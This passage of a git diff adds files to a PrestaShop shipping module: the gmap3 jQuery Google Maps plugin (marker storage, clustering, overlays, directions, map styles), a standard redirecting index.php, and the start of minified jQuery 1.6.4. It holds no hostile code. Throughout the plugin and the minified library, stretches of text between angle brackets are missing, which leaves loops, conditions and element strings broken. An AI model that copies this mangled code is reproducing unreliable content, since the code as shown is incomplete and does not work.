1; + for(i=0; i= 0; idx--){ + if ( (store[name][idx] !== undefined) && (store[name][idx].tag !== undefined) && ($.inArray(store[name][idx].tag, tag) >= 0) ){ + break; + } + } + } else { + for(idx = 0; idx < store[name].length; idx++){ + if ( (store[name][idx] !== undefined) && (store[name][idx].tag !== undefined) && ($.inArray(store[name][idx].tag, tag) >= 0) ){ + break; + } + } + } + } else { + idx = pop ? store[name].length - 1 : 0; + } + if ( !(idx in store[name]) ) { + return false; + } + // Google maps element + if (typeof(store[name][idx].obj.setMap) === 'function') { + store[name][idx].obj.setMap(null); + } + // jQuery + if (typeof(store[name][idx].obj.remove) === 'function') { + store[name][idx].obj.remove(); + } + // internal (cluster) + if (typeof(store[name][idx].obj.free) === 'function') { + store[name][idx].obj.free(); + } + delete store[name][idx].obj; + if (tag !== undefined){ + tmp = []; + for(i=0; i= 0){ + same[j] = true; + } else { + this.freeIndex(i); + } + } + return same; + } + + this.add = function(latLng, marker){ + markers.push({latLng:latLng, marker:marker}); + } + + this.get = function(i){ + return markers[i]; + } + + this.clusters = function(map, radius, maxZoom, force){ + var proj = map.getProjection(), + nwP = proj.fromLatLngToPoint( + new google.maps.LatLng( + map.getBounds().getNorthEast().lat(), + map.getBounds().getSouthWest().lng() + ) + ), + i, j, j2, p, x, y, k, k2, + z = map.getZoom(), + pos = {}, + saved = {}, + unik = {}, + clusters = [], + cluster, + chk, + lat, lng, keys, cnt, + bounds = map.getBounds(), + noClusters = maxZoom && (maxZoom <= map.getZoom()), + chkContain = map.getZoom() > 2; + + cnt = 0; + keys = {}; + for(i = 0; i < markers.length; i++){ + if (chkContain && !bounds.contains(markers[i].latLng)){ + continue; + } + p = proj.fromLatLngToPoint(markers[i].latLng); + pos[i] = [ + Math.floor((p.x - nwP.x) * Math.pow(2, z)), + Math.floor((p.y - nwP.y) * Math.pow(2, z)) + ]; + keys[i] = true; + cnt++; + } + // check if visible markers have changed + if (!force && !noClusters){ + for(k = 0; k < latest.length; k++){ + if( k in keys ){ + cnt--; + } else { + break; + } + } + if (!cnt){ + return false; // no change + } + } + + // save current keys to check later if an update has been done + latest = keys; + + keys = []; + for(i in pos){ + x = pos[i][0]; + y = pos[i][1]; + if ( !(x in saved) ){ + saved[x] = {}; + } + if (!( y in saved[x]) ) { + saved[x][y] = i; + unik[i] = {}; + keys.push(i); + } + unik[ saved[x][y] ][i] = true; + } + radius = Math.pow(radius, 2); + delete(saved); + + k = 0; + while(1){ + while((k 1; + saved = cluster; + } else { + chk = cluster.idx.length > saved.idx.length; + if (chk){ + saved = cluster; + } + } + if (chk){ + p = proj.fromLatLngToPoint( new google.maps.LatLng(saved.lat, saved.lng) ); + lat = Math.floor((p.x - nwP.x) * Math.pow(2, z)); + lng = Math.floor((p.y - nwP.y) * Math.pow(2, z)); + } + } while(chk); + } + + for(k2 = 0; k2 < saved.idx.length; k2++){ + if (saved.idx[k2] in unik){ + delete(unik[saved.idx[k2]]); + } + } + clusters.push(saved); + } + return clusters; + } + + this.getBounds = function(){ + var i, bounds = new google.maps.LatLngBounds(); + for(i=0; i { eventName => function, } + * onces => { eventName => function, } + * data => mixed data + * ] + **/ + this._attachEvents = function(sender, todo){ + var name; + if (!todo) { + return + } + if (todo.events){ + for(name in todo.events){ + if (typeof(todo.events[name]) === 'function'){ + this._attachEvent(sender, name, todo.events[name], todo.data, false); + } + } + } + if (todo.onces){ + for(name in todo.onces){ + if (typeof(todo.onces[name]) === 'function'){ + this._attachEvent(sender, name, todo.onces[name], todo.data, true); + } + } + } + } + + /** + * execute callback functions + **/ + this._callback = function(result, todo){ + if (typeof(todo.callback) === 'function') { + todo.callback.apply($this, [result]); + } else if (typeof(todo.callback) === 'object') { + for(var i=0; i bounds not available + // wait for map + google.maps.event.addListenerOnce( + map, + 'bounds_changed', + function() { + that._addclusteredmarkers(todo); + } + ); + return; + } + + if (typeof(radius) === 'number'){ + clusterer = new Clusterer(); + for(i=0 ; i 1){ + // look for the cluster design to use + m = 0; + for(k in styles){ + if ( (k > m) && (k <= cluster.idx.length) ){ + m = k; + } + } + if (styles[m]){ // cluster defined for the current markers count + w = ival(styles[m], 'width'); + h = ival(styles[m], 'height'); + + // create a custom _addOverlay command + atodo = {}; + $.extend( + true, + atodo, + ctodo, + { options:{ + pane: 'overlayLayer', + content:styles[m].content.replace('CLUSTER_COUNT', cluster.idx.length), + offset:{ + x: -w/2, + y: -h/2 + } + } + } + ); + obj = this._addOverlay(atodo, toLatLng(cluster), true); + atodo.options.pane = 'floatShadow'; + atodo.options.content = $('
        '); + atodo.options.content.width(w); + atodo.options.content.height(h); + shadow = this._addOverlay(atodo, toLatLng(cluster), true); + + // store data to the clusterer + ctodo.data = { + latLng: toLatLng(cluster), + markers:[] + }; + for(ii=0; ii
      • '), + listeners = []; + + $div + .css('border', 'none') + .css('borderWidth', '0px') + .css('position', 'absolute'); + $div.append(opts.content); + + function f() { + _default.classes.OverlayView.call(this); + this.setMap(map); + } + + f.prototype = new _default.classes.OverlayView(); + + f.prototype.onAdd = function() { + var panes = this.getPanes(); + if (opts.pane in panes) { + $(panes[opts.pane]).append($div); + } + } + f.prototype.draw = function() { + var overlayProjection = this.getProjection(), + ps = overlayProjection.fromLatLngToDivPixel(latLng), + that = this; + + $div + .css('left', (ps.x+opts.offset.x) + 'px') + .css('top' , (ps.y+opts.offset.y) + 'px'); + + $.each( ("dblclick click mouseover mousemove mouseout mouseup mousedown").split(" "), function( i, name ) { + listeners.push( + google.maps.event.addDomListener($div[0], name, function(e) { + google.maps.event.trigger(that, name); + }) + ); + }); + listeners.push( + google.maps.event.addDomListener($div[0], "contextmenu", function(e) { + google.maps.event.trigger(that, "rightclick"); + }) + ); + } + f.prototype.onRemove = function() { + for (var i = 0; i < listeners.length; i++) { + google.maps.event.removeListener(listeners[i]); + } + $div.remove(); + } + f.prototype.hide = function() { + $div.hide(); + } + f.prototype.show = function() { + $div.show(); + } + f.prototype.toggle = function() { + if ($div) { + if ($div.is(':visible')){ + this.show(); + } else { + this.hide(); + } + } + } + f.prototype.toggleDOM = function() { + if (this.getMap()) { + this.setMap(null); + } else { + this.setMap(map); + } + } + f.prototype.getDOMElement = function() { + return $div[0]; + } + ov = new f(); + if (!internal){ + store.add('overlay', ov, o); + this._manageEnd(ov, o); + } + return ov; + } + + /** + * add a fix panel to a map + **/ + this.addfixpanel = function(todo){ + var o = getObject('fixpanel', todo), + x=y=0, $c, $div; + if (o.options.content){ + $c = $(o.options.content); + + if (o.options.left !== undefined){ + x = o.options.left; + } else if (o.options.right !== undefined){ + x = $this.width() - $c.width() - o.options.right; + } else if (o.options.center){ + x = ($this.width() - $c.width()) / 2; + } + + if (o.options.top !== undefined){ + y = o.options.top; + } else if (o.options.bottom !== undefined){ + y = $this.height() - $c.height() - o.options.bottom; + } else if (o.options.middle){ + y = ($this.height() - $c.height()) / 2 + } + + $div = $('
        ') + .css('position', 'absolute') + .css('top', y+'px') + .css('left', x+'px') + .css('z-index', '1000') + .append($c); + + $this.first().prepend($div); + this._attachEvents(map, o); + store.add('fixpanel', $div, o); + this._callback($div, o); + } + this._end(); + } + + /** + * add a direction renderer to a map + **/ + this.adddirectionsrenderer = function(todo, internal){ + var dr, o = getObject('directionrenderer', todo, 'panelId'); + o.options.map = map; + dr = new google.maps.DirectionsRenderer(o.options); + if (o.panelId) { + dr.setPanel(document.getElementById(o.panelId)); + } + store.add('directionrenderer', dr, o); + this._manageEnd(dr, o, internal); + return dr; + } + + /** + * set a direction panel to a dom element from its ID + **/ + this.setdirectionspanel = function(todo){ + var dr = store.get('directionrenderer'), + o = getObject('directionpanel', todo, 'id'); + if (dr && o.id) { + dr.setPanel(document.getElementById(o.id)); + } + this._manageEnd(dr, o); + } + + /** + * set directions on a map (create Direction Renderer if needed) + **/ + this.setdirections = function(todo){ + var dr = store.get('directionrenderer'), + o = getObject('directions', todo); + if (todo) { + o.options.directions = todo.directions ? todo.directions : (todo.options && todo.options.directions ? todo.options.directions : null); + } + if (o.options.directions) { + if (!dr) { + dr = this.adddirectionsrenderer(o, true); + } else { + dr.setDirections(o.options.directions); + } + } + this._manageEnd(dr, o); + } + + /** + * set a streetview to a map + **/ + this.setstreetview = function(todo){ + var panorama, + o = getObject('streetview', todo, 'id'); + if (o.options.position){ + o.options.position = toLatLng(o.options.position); + } + panorama = new _default.classes.StreetViewPanorama(document.getElementById(o.id),o.options); + if (panorama){ + map.setStreetView(panorama); + } + this._manageEnd(panorama, o); + } + + /** + * add a kml layer to a map + **/ + this.addkmllayer = function(todo){ + var kml, + o = getObject('kmllayer', todo, 'url'); + o.options.map = map; + if (typeof(o.url) === 'string'){ + kml = new _default.classes.KmlLayer(o.url, o.options); + } + store.add('kmllayer', kml, o); + this._manageEnd(kml, o); + } + + /** + * add a traffic layer to a map + **/ + this.addtrafficlayer = function(todo){ + var o = getObject('trafficlayer', todo), + tl = store.get('trafficlayer'); + if (!tl){ + tl = new _default.classes.TrafficLayer(); + tl.setMap(map); + store.add('trafficlayer', tl, o); + } + this._manageEnd(tl, o); + } + + /** + * add a bicycling layer to a map + **/ + this.addbicyclinglayer = function(todo){ + var o = getObject('bicyclinglayer', todo), + bl = store.get('bicyclinglayer'); + if (!bl){ + bl = new _default.classes.BicyclingLayer(); + bl.setMap(map); + store.add('bicyclinglayer', bl, o); + } + this._manageEnd(bl, o); + } + + /** + * add a ground overlay to a map + **/ + this.addgroundoverlay = function(todo){ + var ov, + o = getObject('groundoverlay', todo, ['bounds', 'url']); + o.bounds = toLatLngBounds(o.bounds); + if (o.bounds && (typeof(o.url) === 'string')){ + ov = new _default.classes.GroundOverlay(o.url, o.bounds); + ov.setMap(map); + store.add('groundoverlay', ov, o); + } + this._manageEnd(ov, o); + } + + /** + * geolocalise the user and return a LatLng + **/ + this.geolatlng = function(todo){ + var callback = ival(todo, 'callback'); + if (typeof(callback) === 'function') { + if(navigator.geolocation) { + navigator.geolocation.getCurrentPosition( + function(position) { + var out = new google.maps.LatLng(position.coords.latitude,position.coords.longitude); + callback.apply($this, [out]); + }, + function() { + var out = false; + callback.apply($this, [out]); + } + ); + } else if (google.gears) { + google.gears.factory.create('beta.geolocation').getCurrentPosition( + function(position) { + var out = new google.maps.LatLng(position.latitude,position.longitude); + callback.apply($this, [out]); + }, + function() { + out = false; + callback.apply($this, [out]); + } + ); + } else { + callback.apply($this, [false]); + } + } + this._end(); + } + + /** + * add a style to a map + **/ + this.addstyledmap = function(todo, internal){ + var o = getObject('styledmap', todo, ['id', 'style']); + if (o.style && o.id && !styles[o.id]) { + styles[o.id] = new _default.classes.StyledMapType(o.style, o.options); + if (map) { + map.mapTypes.set(o.id, styles[o.id]); + } + } + this._manageEnd(styles[o.id], o, internal); + } + + /** + * set a style to a map (add it if needed) + **/ + this.setstyledmap = function(todo){ + var o = getObject('styledmap', todo, ['id', 'style']); + if (o.id) { + this.addstyledmap(o, true); + if (styles[o.id]) { + map.setMapTypeId(o.id); + this._callback(styles[o.id], todo); + } + } + this._manageEnd(styles[o.id], o); + } + + /** + * remove objects from a map + **/ + this.clear = function(todo){ + var list = array(ival(todo, 'list') || ival(todo, 'name')), + last = ival(todo, 'last', false), + first = ival(todo, 'first', false), + tag = ival(todo, 'tag'); + if (tag !== undefined){ + tag = array(tag); + } + store.clear(list, last, first, tag); + this._end(); + } + + /** + * return objects previously created + **/ + this.get = function(todo){ + var name = ival(todo, 'name') || 'map', + first= ival(todo, 'first'), + all = ival(todo, 'all'), + tag = ival(todo, 'tag'); + name = name.toLowerCase(); + if (name === 'map'){ + return map; + } + if (tag !== undefined){ + tag = array(tag); + } + if (first){ + return store.get(name, false, tag); + } else if (all){ + return store.all(name, tag); + } else { + return store.get(name, true, tag); + } + } + + /** + * return the max zoom of a location + **/ + this.getmaxzoom = function(todo){ + this._resolveLatLng(todo, '_getMaxZoom'); + } + + this._getMaxZoom = function(todo, latLng){ + var callback = ival(todo, 'callback'), + that = this; + if (callback && typeof(callback) === 'function') { + getMaxZoomService().getMaxZoomAtLatLng( + latLng, + function(result) { + var zoom = result.status === google.maps.MaxZoomStatus.OK ? result.zoom : false; + callback.apply($this, [zoom, result.status]); + that._end(); + } + ); + } else { + this._end(); + } + } + + /** + * modify default values + **/ + this.setdefault = function(todo){ + setDefault(todo); + this._end(); + } + + /** + * autofit a map using its overlays (markers, rectangles ...) + **/ + this.autofit = function(todo, internal){ + var names, list, obj, i, j, + empty = true, + bounds = new google.maps.LatLngBounds(), + maxZoom = ival(todo, 'maxZoom', null); + + names = store.names(); + for(i=0; i detect zoom level and check maxZoom + google.maps.event.addListenerOnce( + map, + 'bounds_changed', + function() { + if (this.getZoom() > maxZoom){ + this.setZoom(maxZoom); + } + } + ); + } + map.fitBounds(bounds); + } + if (!internal){ + this._manageEnd(empty ? false : bounds, todo, internal); + } + } + + }; + + //-----------------------------------------------------------------------// + // jQuery plugin + //-----------------------------------------------------------------------// + + $.fn.gmap3 = function(){ + var i, args, list = [], empty = true, results = []; + // store all arguments in a todo list + for(i=0; i +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay2/js/jquery-1.6.4.min.js b/modules/mondialrelay2/js/jquery-1.6.4.min.js new file mode 100755 index 0000000..3684c36 --- /dev/null +++ b/modules/mondialrelay2/js/jquery-1.6.4.min.js @@ -0,0 +1,4 @@ +/*! jQuery v1.6.4 http://jquery.com/ | http://jquery.org/license */ +(function(a,b){function cu(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cr(a){if(!cg[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ch||(ch=c.createElement("iframe"),ch.frameBorder=ch.width=ch.height=0),b.appendChild(ch);if(!ci||!ch.createElement)ci=(ch.contentWindow||ch.contentDocument).document,ci.write((c.compatMode==="CSS1Compat"?"":"")+""),ci.close();d=ci.createElement(a),ci.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ch)}cg[a]=e}return cg[a]}function cq(a,b){var c={};f.each(cm.concat.apply([],cm.slice(0,b)),function(){c[this]=a});return c}function cp(){cn=b}function co(){setTimeout(cp,0);return cn=f.now()}function cf(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ce(){try{return new a.XMLHttpRequest}catch(b){}}function b$(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g0){c!=="border"&&f.each(e,function(){c||(d-=parseFloat(f.css(a,"padding"+this))||0),c==="margin"?d+=parseFloat(f.css(a,c+this))||0:d-=parseFloat(f.css(a,"border"+this+"Width"))||0});return d+"px"}d=bv(a,b,b);if(d<0||d==null)d=a.style[b]||0;d=parseFloat(d)||0,c&&f.each(e,function(){d+=parseFloat(f.css(a,"padding"+this))||0,c!=="padding"&&(d+=parseFloat(f.css(a,"border"+this+"Width"))||0),c==="margin"&&(d+=parseFloat(f.css(a,c+this))||0)});return d+"px"}function bl(a,b){b.src?f.ajax({url:b.src,async:!1,dataType:"script"}):f.globalEval((b.text||b.textContent||b.innerHTML||"").replace(bd,"/*$0*/")),b.parentNode&&b.parentNode.removeChild(b)}function bk(a){f.nodeName(a,"input")?bj(a):"getElementsByTagName"in a&&f.grep(a.getElementsByTagName("input"),bj)}function bj(a){if(a.type==="checkbox"||a.type==="radio")a.defaultChecked=a.checked}function bi(a){return"getElementsByTagName"in a?a.getElementsByTagName("*"):"querySelectorAll"in a?a.querySelectorAll("*"):[]}function bh(a,b){var c;if(b.nodeType===1){b.clearAttributes&&b.clearAttributes(),b.mergeAttributes&&b.mergeAttributes(a),c=b.nodeName.toLowerCase();if(c==="object")b.outerHTML=a.outerHTML;else if(c!=="input"||a.type!=="checkbox"&&a.type!=="radio"){if(c==="option")b.selected=a.defaultSelected;else if(c==="input"||c==="textarea")b.defaultValue=a.defaultValue}else a.checked&&(b.defaultChecked=b.checked=a.checked),b.value!==a.value&&(b.value=a.value);b.removeAttribute(f.expando)}}function bg(a,b){if(b.nodeType===1&&!!f.hasData(a)){var c=f.expando,d=f.data(a),e=f.data(b,d);if(d=d[c]){var g=d.events;e=e[c]=f.extend({},d);if(g){delete e.handle,e.events={};for(var h in g)for(var i=0,j=g[h].length;i=0===c})}function U(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function M(a,b){return(a&&a!=="*"?a+".":"")+b.replace(y,"`").replace(z,"&")}function L(a){var b,c,d,e,g,h,i,j,k,l,m,n,o,p=[],q=[],r=f._data(this,"events");if(!(a.liveFired===this||!r||!r.live||a.target.disabled||a.button&&a.type==="click")){a.namespace&&(n=new RegExp("(^|\\.)"+a.namespace.split(".").join("\\.(?:.*\\.)?")+"(\\.|$)")),a.liveFired=this;var s=r.live.slice(0);for(i=0;ic)break;a.currentTarget=e.elem,a.data=e.handleObj.data,a.handleObj=e.handleObj,o=e.handleObj.origHandler.apply(e.elem,arguments);if(o===!1||a.isPropagationStopped()){c=e.level,o===!1&&(b=!1);if(a.isImmediatePropagationStopped())break}}return b}}function J(a,c,d){var e=f.extend({},d[0]);e.type=a,e.originalEvent={},e.liveFired=b,f.event.handle.call(c,e),e.isDefaultPrevented()&&d[0].preventDefault()}function D(){return!0}function C(){return!1}function m(a,c,d){var e=c+"defer",g=c+"queue",h=c+"mark",i=f.data(a,e,b,!0);i&&(d==="queue"||!f.data(a,g,b,!0))&&(d==="mark"||!f.data(a,h,b,!0))&&setTimeout(function(){!f.data(a,g,b,!0)&&!f.data(a,h,b,!0)&&(f.removeData(a,e,!0),i.resolve())},0)}function l(a){for(var b in a)if(b!=="toJSON")return!1;return!0}function k(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(j,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNaN(d)?i.test(d)?f.parseJSON(d):d:parseFloat(d)}catch(g){}f.data(a,c,d)}else d=b}return d}var c=a.document,d=a.navigator,e=a.location,f=function(){function K(){if(!e.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(K,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/\d/,n=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,o=/^[\],:{}\s]*$/,p=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,q=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,r=/(?:^|:|,)(?:\s*\[)+/g,s=/(webkit)[ \/]([\w.]+)/,t=/(opera)(?:.*version)?[ \/]([\w.]+)/,u=/(msie) ([\w.]+)/,v=/(mozilla)(?:.*? rv:([\w.]+))?/,w=/-([a-z]|[0-9])/ig,x=/^-ms-/,y=function(a,b){return(b+"").toUpperCase()},z=d.userAgent,A,B,C,D=Object.prototype.toString,E=Object.prototype.hasOwnProperty,F=Array.prototype.push,G=Array.prototype.slice,H=String.prototype.trim,I=Array.prototype.indexOf,J={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=n.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.6.4",length:0,size:function(){return this.length},toArray:function(){return G.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?F.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),B.done(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(G.apply(this,arguments),"slice",G.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:F,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;B.resolveWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").unbind("ready")}},bindReady:function(){if(!B){B=e._Deferred();if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",C,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",C),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&K()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a&&typeof a=="object"&&"setInterval"in a},isNaN:function(a){return a==null||!m.test(a)||isNaN(a)},type:function(a){return a==null?String(a):J[D.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!E.call(a,"constructor")&&!E.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||E.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw a},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(o.test(b.replace(p,"@").replace(q,"]").replace(r,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(x,"ms-").replace(w,y)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i1?h.call(arguments,0):c,--e||g.resolveWith(g,h.call(b,0))}}var b=arguments,c=0,d=b.length,e=d,g=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred();if(d>1){for(;c
        a",d=a.getElementsByTagName("*"),e=a.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=a.getElementsByTagName("input")[0],k={leadingWhitespace:a.firstChild.nodeType===3,tbody:!a.getElementsByTagName("tbody").length,htmlSerialize:!!a.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55$/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:a.className!=="t",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,k.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,k.optDisabled=!h.disabled;try{delete a.test}catch(v){k.deleteExpando=!1}!a.addEventListener&&a.attachEvent&&a.fireEvent&&(a.attachEvent("onclick",function(){k.noCloneEvent=!1}),a.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),k.radioValue=i.value==="t",i.setAttribute("checked","checked"),a.appendChild(i),l=c.createDocumentFragment(),l.appendChild(a.firstChild),k.checkClone=l.cloneNode(!0).cloneNode(!0).lastChild.checked,a.innerHTML="",a.style.width=a.style.paddingLeft="1px",m=c.getElementsByTagName("body")[0],o=c.createElement(m?"div":"body"),p={visibility:"hidden",width:0,height:0,border:0,margin:0,background:"none"},m&&f.extend(p,{position:"absolute",left:"-1000px",top:"-1000px"});for(t in p)o.style[t]=p[t];o.appendChild(a),n=m||b,n.insertBefore(o,n.firstChild),k.appendChecked=i.checked,k.boxModel=a.offsetWidth===2,"zoom"in a.style&&(a.style.display="inline",a.style.zoom=1,k.inlineBlockNeedsLayout=a.offsetWidth===2,a.style.display="",a.innerHTML="
        ",k.shrinkWrapBlocks=a.offsetWidth!==2),a.innerHTML="
        t
        ",q=a.getElementsByTagName("td"),u=q[0].offsetHeight===0,q[0].style.display="",q[1].style.display="none",k.reliableHiddenOffsets=u&&q[0].offsetHeight===0,a.innerHTML="",c.defaultView&&c.defaultView.getComputedStyle&&(j=c.createElement("div"),j.style.width="0",j.style.marginRight="0",a.appendChild(j),k.reliableMarginRight=(parseInt((c.defaultView.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0),o.innerHTML="",n.removeChild(o);if(a.attachEvent)for(t in{submit:1,change:1,focusin:1})s="on"+t,u=s in a,u||(a.setAttribute(s,"return;"),u=typeof a[s]=="function"),k[t+"Bubbles"]=u;o=l=g=h=m=j=a=i=null;return k}(),f.boxModel=f.support.boxModel;var i=/^(?:\{.*\}|\[.*\])$/,j=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!l(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i=f.expando,j=typeof c=="string",k=a.nodeType,l=k?f.cache:a,m=k?a[f.expando]:a[f.expando]&&f.expando;if((!m||e&&m&&l[m]&&!l[m][i])&&j&&d===b)return;m||(k?a[f.expando]=m=++f.uuid:m=f.expando),l[m]||(l[m]={},k||(l[m].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?l[m][i]=f.extend(l[m][i],c):l[m]=f.extend(l[m],c);g=l[m],e&&(g[i]||(g[i]={}),g=g[i]),d!==b&&(g[f.camelCase(c)]=d);if(c==="events"&&!g[c])return g[i]&&g[i].events;j?(h=g[c],h==null&&(h=g[f.camelCase(c)])):h=g;return h}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e=f.expando,g=a.nodeType,h=g?f.cache:a,i=g?a[f.expando]:f.expando;if(!h[i])return;if(b){d=c?h[i][e]:h[i];if(d){d[b]||(b=f.camelCase(b)),delete d[b];if(!l(d))return}}if(c){delete h[i][e];if(!l(h[i]))return}var j=h[i][e];f.support.deleteExpando||!h.setInterval?delete h[i]:h[i]=null,j?(h[i]={},g||(h[i].toJSON=f.noop),h[i][e]=j):g&&(f.support.deleteExpando?delete a[f.expando]:a.removeAttribute?a.removeAttribute(f.expando):a[f.expando]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0&&a.getAttribute("classid")===b}return!0}}),f.fn.extend({data:function(a,c){var d=null;if(typeof a=="undefined"){if(this.length){d=f.data(this[0]);if(this[0].nodeType===1){var e=this[0].attributes,g;for(var h=0,i=e.length;h-1)return!0;return!1},val:function(a){var c,d,e=this[0];if(!arguments.length){if(e){c=f.valHooks[e.nodeName.toLowerCase()]||f.valHooks[e.type];if(c&&"get"in c&&(d=c.get(e,"value"))!==b)return d;d=e.value;return typeof d=="string"?d.replace(p,""):d==null?"":d}return b}var g=f.isFunction(a);return this.each(function(d){var e=f(this),h;if(this.nodeType===1){g?h=a.call(this,d,e.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}}),f.extend({valHooks:{option:{get:function(a){var 